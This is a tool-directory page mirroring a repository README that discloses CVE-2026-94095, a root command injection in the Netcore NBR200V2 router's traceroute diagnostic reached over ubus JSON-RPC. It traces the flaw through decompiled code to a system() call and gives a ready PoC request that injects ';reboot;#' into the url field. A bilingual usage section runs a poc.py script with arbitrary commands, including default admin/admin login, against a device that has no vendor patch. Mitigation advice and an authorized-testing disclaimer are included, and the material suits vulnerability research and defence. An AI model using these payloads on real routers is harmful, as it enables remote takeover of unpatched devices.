Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-94095 — PoC for CVE-2026-94095, a traceroute command injection in Netcore NBR200V2 firmware via ubus JSON-RPC, enabling root RCE for authorized testing. | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-94095
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingHardware & IoT SecurityPapers & Research
GitHubhackspeak/cve-2026-94095

CVE-2026-94095

PoC for CVE-2026-94095, a traceroute command injection in Netcore NBR200V2 firmware via ubus JSON-RPC, enabling root RCE for authorized testing.

View Repository
17h 31m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Netcore NBR200V2 - Remote Command Injection in Traceroute Diagnostic Feature (CVE-2026-94095)

FieldValue
VendorNetcore
ModelNBR200V2
Firmware VersionV1.3.241127.071246
Affected Component/usr/bin/network_tools
Vulnerability TypeOS Command Injection (CWE-74 / CWE-77)
CVSS 3.19.9 (Critical)
Attack VectorRemote (ubus JSON-RPC)
PrerequisiteReachable ubus endpoint + a low-privilege session (sid)
Vendor StatusContacted early; no response; no patch at time of disclosure

Description

Netcore NBR200V2 firmware V1.3.241127.071246 contains a remote command injection vulnerability in the traceroute diagnostic feature. The traceroute handler accepts an attacker-controlled url value from ubus JSON-RPC, concatenates it into a shell command, and executes the resulting command. A remote attacker can use this flaw to execute arbitrary shell commands, reboot the device, or achieve full system compromise.

Vulnerability Chain

The remote request is accepted as ubus JSON-RPC:

root@kitploit:~
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}

The ubus method mapping routes the request to sub_401BD8:

root@kitploit:~
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8

sub_401BD8 parses the JSON-RPC data and forwards it to tools_traceroute():

root@kitploit:~
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18;              // action
v25[1] = v7;               // url
v25[2] = _bswapsi2(*v8);   // max_hop
...
result = tools_traceroute((int)v25);

tools_traceroute() builds a shell command using the untrusted url value:

root@kitploit:~
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

The vulnerability is structurally identical to the ping issue, but reaches a different sink and execution path. Because system() is used, command separators such as ;, &&, and shell comments are honored. The diagnostic feature therefore becomes a general-purpose command execution primitive.

Proof of Concept

root@kitploit:~
POST /ubus
Content-Type: application/json

{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}

Expected effect: the router executes reboot while processing the traceroute job. Arbitrary shell commands can be substituted for reboot.

Related Vulnerabilities (Same Batch)

  • CVE-2026-94096 — LAN IP configuration path (same binary, same pattern).
  • CVE-2026-94097 — CGI diagnostic endpoint (CVSS 10.0).

All three reach the same /usr/bin/network_tools; the diagnostic functions in this binary share the same unsafe pattern, so fixing a single entry point is not sufficient.

Remediation

No vendor patch at time of disclosure. Interim mitigations:

  1. Do not expose the management interface to untrusted networks; remove all WAN-side management mappings;
  2. Change default credentials and enforce strong, rotated passwords (ubus authentication is the prerequisite for this attack);
  3. Restrict the ubus / management endpoint to a dedicated operations subnet via firewall;
  4. Track vendor firmware updates and verify fixes for CVE-2026-94095/94096/94097 together.

Credit

Disclosure by the independent researcher who published the technical write-up and coordinated (unsuccessfully) with the vendor.


分发镜像说明(中文)

本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-94095(同批:CVE-2026-94096 / CVE-2026-94097)
  • 影响产品:Netcore NBR200V2 企业路由器,固件 V1.3.241127.071246
  • 受影响组件:/usr/bin/network_tools(traceroute 诊断功能)
  • 类型:OS 命令注入(CWE-74 / CWE-77)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6;CVSS 2.0:9.0
  • 攻击面:ubus JSON-RPC 端点(POST /ubus)
  • 前置条件:可访问 ubus 接口 + 一个低权限会话(sid);弱口令/默认口令会显著降低门槛
  • 修复状态:披露者提前联系厂商,厂商零回应,暂无官方补丁

核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。

目录结构 / Layout

root@kitploit:~
CVE-2026-94095.md   —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py              —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)

环境与用法 / Requirements & Usage

  • 目标:未修复的 Netcore NBR200V2(实验室设备);需可访问 POST /ubus 与一个有效 sid
  • 依赖:Python 3(纯标准库,零第三方依赖)
root@kitploit:~
# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"

# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

⚠️ 命令会被拼接为 127.0.0.1;<命令>;# 注入 url 参数;reboot 会直接重启设备,请仅在授权/可销毁环境测试。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 漏洞由独立研究者公开披露并整理利用链;本仓库为其公开材料的镜像与 PoC 实现。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-94095
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-94095
  • 第三方分析(VulDB):https://vuldb.com/vuln/408024
Download Tool